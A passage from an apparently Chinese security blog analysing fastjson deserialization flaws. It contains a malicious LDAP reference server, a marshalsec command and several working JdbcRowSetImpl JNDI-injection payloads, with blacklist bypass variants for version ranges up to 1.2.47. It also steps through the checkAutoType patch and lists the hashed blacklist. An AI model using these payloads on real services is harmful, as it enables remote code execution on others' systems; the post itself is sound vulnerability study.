        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws MalformedURLException, LDAPException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

或者使用marshalsec建立ldap服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:6666/#EvilClass 6099

打一下,其他不变,改一下dataSourceName的值

package fastjson;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

调试一下

这里就选择ldap的payload进行调试吧,因为都差不多,利用链都是com.sun.rowset.JdbcRowSetImpl。
在JSON.parse(payload)处断个点,前面大部分跟前面调试的类似,我们直奔主题:

在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)处会对payload的json数据进行循环遍历,可以看到此时已经解析到com.sun.rowset.JdbcRowSetImpl类了,跟进
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
接着对JdbcRowSetImpl进行反序列化,跟进
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
接下来有些地方通过ASM机制在运行,不太好调试了,我们提前在com.sun.rowset.JdbcRowSetImpl下面两处打好断点等它过来

com.sun.rowset.JdbcRowSetImpl#setAutoCommit
com.sun.rowset.JdbcRowSetImpl#setDataSourceName

首先来到了setDataSourceName函数处,将dataSource设置成了ldap://127.0.0.1:6099/EvilClass
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
接着在来到setAutoCommit函数,这里跟进connect()函数
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
跟进后发现JNDI的常用注入点之一lookup函数,他会this.getDataSourceName()获得ldap链接,从而导致JNDI注入漏洞。
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

补丁与绕过

补丁分析

修改一下pom.xml,然后重新加载

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>JavaProject7076</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.41</version>
        </dependency>
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.12</version>
        </dependency>
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.5</version>
        </dependency>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>4.0.9</version>
            <scope>test</scope>
        </dependency>
    </dependencies>
</project>

我们依然使用com.sun.rowset.JdbcRowSetImpl作为攻击链,再运行下面代码:

package fastjson;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

发现报错,com.sun.rowset.JdbcRowSetImpl被禁掉了
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
我们来调试一下,由于步骤差不多,我们直奔主题com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object),debug到该函数下,发现多了个函数checkAutoType(),跟进去
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
checkAutoType函数如下所示,这里重点分析一下

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() >= 128) {
            throw new JSONException("autoType is not support. " + typeName);
        } else {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            int mask;
            String accept;
            if (this.autoTypeSupport || expectClass != null) {
                for(mask = 0; mask < this.acceptList.length; ++mask) {
                    accept = this.acceptList[mask];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                }

                for(mask = 0; mask < this.denyList.length; ++mask) {
                    accept = this.denyList[mask];
                    if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);
            }

            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    for(mask = 0; mask < this.denyList.length; ++mask) {
                        accept = this.denyList[mask];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(mask = 0; mask < this.acceptList.length; ++mask) {
                        accept = this.acceptList[mask];
                        if (className.startsWith(accept)) {
                            if (clazz == null) {
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                            }

                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (clazz == null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                }

                if (clazz != null) {
                    if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
                        return clazz;
                    }

                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
                    if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }

                mask = Feature.SupportAutoType.mask;
                boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
                if (!autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

可以看出来checkAutoType函数增加了黑白名单,低版本fastjson白名单需要自己设置,默认为空,黑名单有如下玩意,我们的com.sun.rowset.JdbcRowSetImpl被包含在了第3个。

反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
该函数还引入了一个参数autoTypeSupport,默认为false:

  • 当autoTypeSupport为true时,先进行白名单过滤,匹配成功即可加载该类并返回;否则进行黑名单过滤,匹配成功直接报错;两者皆未匹配成功,则加载该类
  • 当autoTypeSupport为false时,先进行黑名单过滤,匹配成功直接报错;再匹配白名单,匹配成功即可加载该类并返回;两者皆未匹配成功,则报错

将autoTypeSupport设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  • 代码中设置:ParserConfig.getGlobalInstance().addAccept(“com.xx.a”);
  • 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

接着调试,就报错了:
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

绕过方式

先上payload,该payload适用于1.2.25-1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}

然后测试代码:

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

这个payload对autoTypeSupport为true时有效。通过前面分析我们知道,算然Lcom.sun.rowset.JdbcRowSetImpl不在黑名单里面,但是当autoTypeSupport为false时,在黑白名单都无法匹配的情况下也是报错的。

下面我们调试一下,由于绕过了校验,接着会执行TypeUtils.loadClass(typeName, this.defaultClassLoader, false),跟进
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
然后就真相大白了,第二框会把Lcom.sun.rowset.JdbcRowSetImpl;转换成com.sun.rowset.JdbcRowSetImpl,然后利用链就又能用了。
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
我还圈出了第一个框,它是另一中绕过方式,payload如下,适用于1.2.25-1.2.43版本。之所以多了两个符号**[{**,是因为该利用链在反序列化过程中涉及到一些其他判断需要绕过。

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}

另外还有两种绕过方式,这里不再一一调试:

适用于1.2.25-1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}

适用于1.2.25-1.2.45,需要存在mybatis的jar包

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:6099/EvilClass"}}

反序列化漏洞二

额,这篇文章写着写着就又臭又长了,继续吧

影响版本和限制

fastjson影响1.2.25-1.2.47版本
利用链基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191

利用链

先上payload,可以看到先通过java.lang.Class将com.sun.rowset.JdbcRowSetImpl加载到map缓存中,然后在通过com.sun.rowset.JdbcRowSetImpl执行恶意ldap链接。

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:6099/EvilClass",
        "autoCommit":true
    }
}

注意,这个payload根据AutoTypeSupport模式的不同,能影响的版本也不同
在1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
在1.2.33-1.2.47版本:无论是否开启AutoTypeSuppt,都能成功利用;

不开启AutoTypeSuppt

poc如下:

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        // ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        // String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\", \"autoCommit\":true}";
        String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
                + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
                + "\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\",\"autoCommit\":true}}";
        JSON.parse(payload);
    }
}

调试一下,我们直接进入checkAutoType()函数,由于autoTypeSupport为false,所以不会进入第一个白黑名单进行判断,继续往下调试
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
由于此时typeName为java.lang.Class,会在this.deserializers.findClass(typeName)函数中直接被找到,所以不会经过第二个黑白名单判断就会被返回。
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
返回到com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)函数,跟进deserialze()函数
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
进去后会对val进行判空,然后继续跟进解析出com.sun.rowset.JdbcRowSetImpl并赋值给objVal,继续跟进
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
然后赋值给strVal,继续跟进
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
接着判断clazz是否为class类,是的话调用TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())加载strVal指定的类,继续跟进
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
在loadClass里面,通过loadClass()函数成功加载com.sun.rowset.JdbcRowSetImpl后,会放进map中作为缓存
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
在遍历第二部分json数据时,依然会进入checkAutoType函数,此时可以通过TypeUtils.getClassFromMapping(typeName)函数获取到刚才在map中缓存的com.sun.rowset.JdbcRowSetImpl,于是clazz就有了值,可以直接绕过第二次黑白名单判断,直接返回,从而成功绕过所有检测造成ldap注入。
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

开启AutoTypeSuppt

poc如下:

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        // String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\", \"autoCommit\":true}";
        String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
                + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
                + "\"dataSourceName\":\"ldap://127.0.0.1:6099/EvilClass\",\"autoCommit\":true}}";
        JSON.parse(payload);
    }
}

满足版本的情况下,也能执行成功,来看一下关键的绕过代码

if (this.autoTypeSupport || expectClass != null) {
    for(mask = 0; mask < this.acceptList.length; ++mask) {
        accept = this.acceptList[mask];
        if (className.startsWith(accept)) {
            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
            if (clazz != null) {
                return clazz;
            }
        }
    }

    for(mask = 0; mask < this.denyList.length; ++mask) {
        accept = this.denyList[mask];
        if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

在判断java.lang.Class的时候,跟前面步骤一样,会将com.sun.rowset.JdbcRowSetImpl加入缓存;关键在于遍历第二个json,即com.sun.rowset.JdbcRowSetImpl时,是怎么绕过黑名单的?
看下面关键判断语句,发现第一个条件是为true的,因为com.sun.rowset.JdbcRowSetImpl在黑名单中,但是第二个判断条件为false,因为com.sun.rowset.JdbcRowSetImpl在map缓存中是找得到的,从而导致这个黑名单判断语句时效。

if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null)

补丁

在调用TypeUtils.loadClass()加载java.lang.Class时,设置了默认不缓存目标类到map中。
不过fastjson从1.2.42开始,黑名单从明文形式改为了经过哈希的字符串,不过这并不能难道各位大牛,参考fastjson-blacklist
目前已知黑名单
version hash hex-hash name
1.2.42 -8720046426850100497 0x86fc2bf9beaf7aefL org.apache.commons.collections4.comparators
1.2.42 -8109300701639721088 0x8f75f9fa0df03f80L org.python.core
1.2.42 -7966123100503199569 0x9172a53f157930afL org.apache.tomcat
1.2.42 -7766605818834748097 0x9437792831df7d3fL org.apache.xalan
1.2.42 -6835437086156813536 0xa123a62f93178b20L javax.xml
1.2.42 -4837536971810737970 0xbcdd9dc12766f0ceL org.springframework.
1.2.42 -4082057040235125754 0xc7599ebfe3e72406L org.apache.commons.beanutils
1.2.42 -2364987994247679115 0xdf2ddff310cdb375L org.apache.commons.collections.Transformer
1.2.42 -1872417015366588117 0xe603d6a51fad692bL org.codehaus.groovy.runtime
1.2.42 -254670111376247151 0xfc773ae20c827691L java.lang.Thread
1.2.42 -190281065685395680 0xfd5bfc610056d720L javax.net.
1.2.42 313864100207897507 0x45b11bc78a3aba3L com.mchange
1.2.42 1203232727967308606 0x10b2bdca849d9b3eL org.apache.wicket.util
1.2.42 1502845958873959152 0x14db2e6fead04af0L java.util.jar.
1.2.42 3547627781654598988 0x313bb4abd8d4554cL org.mozilla.javascript
1.2.42 3730752432285826863 0x33c64b921f523f2fL java.rmi
1.2.42 3794316665763266033 0x34a81ee78429fdf1L java.util.prefs.
1.2.42 4147696707147271408 0x398f942e01920cf0L com.sun.
1.2.42 5347909877633654828 0x4a3797b30328202cL java.util.logging.
1.2.42 5450448828334921485 0x4ba3e254e758d70dL org.apache.bcel
1.2.42 5751393439502795295 0x4fd10ddc6d13821fL java.net.Socket
1.2.42 5944107969236155580 0x527db6b46ce3bcbcL org.apache.commons.fileupload
1.2.42 6742705432718011780 0x5d92e6ddde40ed84L org.jboss
1.2.42 7179336928365889465 0x63a220e60a17c7b9L org.hibernate
1.2.42 7442624256860549330 0x6749835432e0f0d2L org.apache.commons.collections.functors
1.2.42 8838294710098435315 0x7aa7ee3627a19cf3L org.apache.myfaces.context.servlet
1.2.43 -2262244760619952081 0xe09ae4604842582fL java.net.URL
1.2.46 -8165637398350707645 0x8eadd40cb2a94443L junit.
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
1.2.46 -7921218830998286408 0x92122d710e364fb8L org.osjava.sj.
1.2.46 -7768608037458185275 0x94305c26580f73c5L org.apache.log4j.
1.2.46 -6179589609550493385 0xaa3daffdb10c4937L org.logicalcobwebs.
1.2.46 -5194641081268104286 0xb7e8ed757f5d13a2L org.apache.logging.
1.2.46 -3935185854875733362 0xc963695082fd728eL org.apache.commons.dbcp
1.2.46 -2753427844400776271 0xd9c9dbf6bbd27bb1L com.ibatis.sqlmap.engine.datasource
1.2.46 -1589194880214235129 0xe9f20bad25f60807L org.jdom.
1.2.46 1073634739308289776 0xee6511b66fd5ef0L org.slf4j.
1.2.46 5688200883751798389 0x4ef08c90ff16c675L javassist.
1.2.46 7017492163108594270 0x616323f12c2ce25eL oracle.net
1.2.46 8389032537095247355 0x746bd4a53ec195fbL org.jaxen.
1.2.48 1459860845934817624 0x144277b467723158L java.net.InetAddress
1.2.48 8409640769019589119 0x74b50bb9260e31ffL java.lang.Class
1.2.49 4904007817188630457 0x440e89208f445fb9L com.alibaba.fastjson.annotation
1.2.59 5100336081510080343 0x46c808a4b5841f57L org.apache.cxf.jaxrs.provider.
1.2.59 6456855723474196908 0x599b5c1213a099acL ch.qos.logback.
1.2.59 8537233257283452655 0x767a586a5107feefL net.sf.ehcache.transaction.manager.
1.2.60 3688179072722109200 0x332f0b5369a18310L com.zaxxer.hikari.
1.2.61 -4401390804044377335 0xc2eb1e621f439309L flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61 -1650485814983027158 0xe9184be55b1d962aL org.apache.openjpa.ee.
1.2.61 -1251419154176620831 0xeea210e8da2ec6e1L oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61 -9822483067882491 0xffdd1a80f1ed3405L com.mysql.cj.jdbc.admin.
1.2.61 99147092142056280 0x1603dc147a3e358L oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61 3114862868117605599 0x2b3a37467a344cdfL org.apache.ibatis.parsing.
1.2.61 4814658433570175913 0x42d11a560fc9fba9L org.apache.axis2.jaxws.spi.handler.
1.2.61 6511035576063254270 0x5a5bd85c072e5efeL jodd.db.connection.
1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration
1.2.62 -9164606388214699518 0x80d0c70bcc2fea02L org.apache.ibatis.executor.
1.2.62 -8649961213709896794 0x87f52a1b07ea33a6L net.sf.cglib.
1.2.62 -6316154655839304624 0xa85882ce1044c450L oracle.net.
1.2.62 -5764804792063216819 0xafff4c95b99a334dL com.mysql.cj.jdbc.MysqlDataSource
1.2.62 -4608341446948126581 0xc00be1debaf2808bL jdk.internal.
1.2.62 -4438775680185074100 0xc2664d0958ecfe4cL aj.org.objectweb.asm.
1.2.62 -3319207949486691020 0xd1efcdf4b3316d34L oracle.jdbc.
1.2.62 -2192804397019347313 0xe1919804d5bf468fL org.apache.commons.collections.comparators.
1.2.62 -2095516571388852610 0xe2eb3ac7e56c467eL net.sf.ehcache.hibernate.
1.2.62 4750336058574309 0x10e067cd55c5e5L com.mysql.cj.log.
1.2.62 218512992947536312 0x3085068cb7201b8L org.h2.jdbcx.
1.2.62 823641066473609950 0xb6e292fa5955adeL org.apache.commons.logging.
1.2.62 1534439610567445754 0x154b6cb22d294cfaL org.apache.ibatis.reflection.
1.2.62 1818089308493370394 0x193b2697eaaed41aL org.h2.server.
1.2.62 2164696723069287854 0x1e0a8c3358ff3daeL org.apache.ibatis.datasource.
1.2.62 2653453629929770569 0x24d2f6048fef4e49L org.objectweb.asm.
1.2.62 2836431254737891113 0x275d0732b877af29L flex.messaging.util.concurrent.
1.2.62 3089451460101527857 0x2adfefbbfe29d931L org.apache.ibatis.javassist.
1.2.62 3256258368248066264 0x2d308dbbc851b0d8L java.lang.UNIXProcess
1.2.62 3718352661124136681 0x339a3e0b6beebee9L org.apache.ibatis.ognl.
1.2.62 4046190361520671643 0x3826f4b2380c8b9bL com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62 4841947709850912914 0x43320dc9d2ae0892L org.codehaus.jackson.
1.2.62 6280357960959217660 0x5728504a6d454ffcL org.apache.ibatis.scripting.
1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L org.apache.commons.proxy.
1.2.62 6734240326434096246 0x5d74d3e5b9370476L com.mysql.cj.jdbc.MysqlXADataSource
1.2.62 7123326897294507060 0x62db241274397c34L org.apache.commons.collections.functors.
1.2.62 8488266005336625107 0x75cc60f5871d0fd3L org.apache.commons.configuration
1.2.66 -2439930098895578154 0xde23a0809a8b9bd6L javax.script.
1.2.66 -582813228520337988 0xf7e96e74dfa58dbcL javax.sound.
1.2.66 -26639035867733124 0xffa15bf021f1e37cL javax.print.
1.2.66 386461436234701831 0x55cfca0f2281c07L javax.activation.
1.2.66 1153291637701043748 0x100150a253996624L javax.tools.
1.2.66 1698504441317515818L 0x17924cca5227622aL javax.management.
1.2.66 7375862386996623731L 0x665c53c311193973L org.apache.xbean.
1.2.66 7658177784286215602L 0x6a47501ebb2afdb2L org.eclipse.jetty.
1.2.66 8055461369741094911L 0x6fcabf6fa54cafffL javax.naming.
1.2.67 -7775351613326101303L 0x941866e73beff4c9L org.apache.shiro.realm.
1.2.67 -6025144546313590215L 0xac6262f52c98aa39L org.apache.http.conn.
1.2.67 -5939269048541779808L 0xad937a449831e8a0L org.quartz.
1.2.67 -5885964883385605994L 0xae50da1fad60a096L com.taobao.eagleeye.wrapper
1.2.67 -3975378478825053783L 0xc8d49e5601e661a9L org.apache.http.impl.
1.2.67 -2378990704010641148L 0xdefc208f237d4104L com.ibatis.
1.2.67 -905177026366752536L 0xf3702a4a5490b8e8L org.apache.catalina.
1.2.67 2660670623866180977L 0x24ec99d5e7dc5571L org.apache.http.auth.
1.2.67 2731823439467737506L 0x25e962f1c28f71a2L br.com.anteros.
1.2.67 3637939656440441093L 0x327c8ed7c8706905L com.caucho.
1.2.67 4254584350247334433L 0x3b0b51ecbf6db221L org.apache.http.cookie.
1.2.67 5274044858141538265L 0x49312bdafb0077d9L org.javasimon.
1.2.67 5474268165959054640L 0x4bf881e49d37f530L org.apache.cocoon.
1.2.67 5596129856135573697L 0x4da972745feb30c1L org.apache.activemq.jms.pool.
1.2.67 6854854816081053523L 0x5f215622fb630753L org.mortbay.jetty.
1.2.68 -3077205613010077203L 0xd54b91cc77b239edL org.apache.shiro.jndi.
1.2.68 -2825378362173150292L 0xd8ca3d595e982bacL org.apache.ignite.cache.jta.
1.2.68 2078113382421334967L 0x1cd6f11c6a358bb7L javax.swing.J
1.2.68 6007332606592876737L 0x535e552d6f9700c1L org.aoju.bus.proxy.provider.
1.2.68 9140390920032557669L 0x7ed9311d28bf1a65L java.awt.p
1.2.68 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.69 -8024746738719829346L 0x90a25f5baa21529eL java.io.Serializable
1.2.69 -5811778396720452501L 0xaf586a571e302c6bL java.io.Closeable
1.2.69 -3053747177772160511L 0xd59ee91f0b09ea01L oracle.jms.AQ
1.2.69 -2114196234051346931L 0xe2a8ddba03e69e0dL java.util.Collection
1.2.69 -2027296626235911549L 0xe3dd9875a2dc5283L java.lang.Iterable
1.2.69 -2939497380989775398L 0xd734ceb4c3e9d1daL java.lang.Object
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 3247277300971823414L 0x2d10a5801b9d6136L java.lang.Cloneable
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 7222019943667248779L 0x6439c4dff712ae8bL java.util.EventListener
1.2.70 -5076846148177416215L 0xb98b6b5396932fe9L org.apache.commons.collections4.Transformer
1.2.70 -4703320437989596122L 0xbeba72fb1ccba426L org.apache.commons.collections4.functors
1.2.70 -4314457471973557243L 0xc41ff7c9c87c7c05L org.jdom2.transform.
1.2.70 -2533039401923731906L 0xdcd8d615a6449e3eL org.apache.hadoop.shaded.com.zaxxer.hikari.
1.2.70 156405680656087946L 0x22baa234c5bfb8aL com.p6spy.engine.
1.2.70 1214780596910349029L 0x10dbc48446e0dae5L org.apache.activemq.pool.
1.2.70 3085473968517218653L 0x2ad1ce3a112f015dL org.apache.aries.transaction.
1.2.70 3129395579983849527L 0x2b6dd8b3229d6837L org.apache.activemq.ActiveMQConnectionFactory
1.2.70 4241163808635564644L 0x3adba40367f73264L org.apache.activemq.spring.
1.2.70 7240293012336844478L 0x647ab0224e149ebeL org.apache.activemq.ActiveMQXAConnectionFactory
1.2.70 7347653049056829645L 0x65f81b84c1d920cdL org.apache.commons.jelly.
1.2.70 7617522210483516279L 0x69b6e0175084b377L org.apache.axis2.transport.jms.

未知黑名单
version hash hex-hash
1.2.42 33238344207745342 0x761619136cc13eL
1.2.67 -831789045734283466L 0xf474e44518f26736L

已知白名单
hash name
0xD4788669A13AE74L java.awt.Rectangle
0xE08EE874A26F5EAFL java.awt.Point
0xDDAAA11FECA77B5EL java.awt.Font
0xB81BA299273D4E6L java.awt.Color
0xA8AAA929446FFCE4L com.alibaba.fastjson.util.AntiCollisionHashMap
0xD0E71A6E155603C1L com.alipay.sofa.rpc.core.exception.SofaTimeOutException
0x9F2E20FB6049A371L java.util.Collections.UnmodifiableMap
0xD45D6F8C9017FAL java.util.concurrent.ConcurrentSkipListMap
0x64DC636F343516DCL java.util.concurrent.ConcurrentSkipListSet
0x7FE2B8E675DA0CEFL org.springframework.dao.CannotAcquireLockException
0xF8C7EF9B13231FB6L org.springframework.dao.CannotSerializeTransactionException
0x42646E60EC7E5189L org.springframework.dao.CleanupFailureDataAccessException
0xCC720543DC5E7090L org.springframework.dao.ConcurrencyFailureException
0xC0FE32B8DC897DE9L org.springframework.dao.DataAccessResourceFailureException
0xDC9583F0087CC2C7L org.springframework.dao.DataIntegrityViolationException
0x5449EC9B0280B9EFL org.springframework.dao.DataRetrievalFailureException
0xEB7D4786C473368DL org.springframework.dao.DeadlockLoserDataAccessException
0x44D57A1B1EF53451L org.springframework.dao.DuplicateKeyException
0xC92D8F9129AF339BL org.springframework.dao.EmptyResultDataAccessException
0x9DF9341F0C76702L org.springframework.dao.IncorrectResultSizeDataAccessException
0xDB7BFFC197369352L org.springframework.dao.IncorrectUpdateSemanticsDataAccessException
0x73FBA1E41C4C3553L org.springframework.dao.InvalidDataAccessApiUsageException
0x76566C052E83815L org.springframework.dao.InvalidDataAccessResourceUsageException
0x61D10AF54471E5DEL org.springframework.dao.NonTransientDataAccessException
0x82E8E13016B73F9EL org.springframework.dao.NonTransientDataAccessResourceException
0xE794F5F7DCD3AC85L org.springframework.dao.OptimisticLockingFailureException
0x3F64BC3933A6A2DFL org.springframework.dao.PermissionDeniedDataAccessException
0x863D2DD1E82B9ED9L org.springframework.dao.PessimisticLockingFailureException
0x4BB3C59964A2FC50L org.springframework.dao.QueryTimeoutException
0x552D9FB02FFC9DEFL org.springframework.dao.RecoverableDataAccessException
0x21082DFBF63FBCC1L org.springframework.dao.TransientDataAccessException
0x178B0E2DC3AE9FE5L org.springframework.dao.TransientDataAccessResourceException
0x24AE2D07FB5D7497L org.springframework.dao.TypeMismatchDataAccessException
0x90003416F28ACD89L org.springframework.dao.UncategorizedDataAccessException
